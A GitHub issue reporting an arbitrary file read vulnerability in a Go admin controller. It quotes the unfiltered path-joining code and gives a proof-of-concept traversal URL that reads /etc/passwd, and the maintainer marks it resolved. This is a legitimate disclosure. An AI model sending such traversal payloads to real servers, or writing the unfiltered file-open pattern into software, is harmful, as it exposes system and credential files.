Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Read Any File Vulnerability #9

Closed
0clickjacking0 opened this issue May 4, 2022 · 2 comments
Closed

Read Any File Vulnerability #9

0clickjacking0 opened this issue May 4, 2022 · 2 comments

Comments

@0clickjacking0
Copy link

Vulnerability file address

internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path")The incoming path value is not filtered, resulting in arbitrary file reading

filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
	fi, err := os.Open(filePath)
	if err != nil {
		con.ErrorHtml(c, err)
		return
	}

POC

http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

Attack results pictures

image-20220504190918936

gphper added a commit that referenced this issue May 8, 2022
@gphper
Copy link
Owner

gphper commented May 10, 2022

resolved

@0clickjacking0
Copy link
Author

0clickjacking0 commented Oct 11, 2022 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants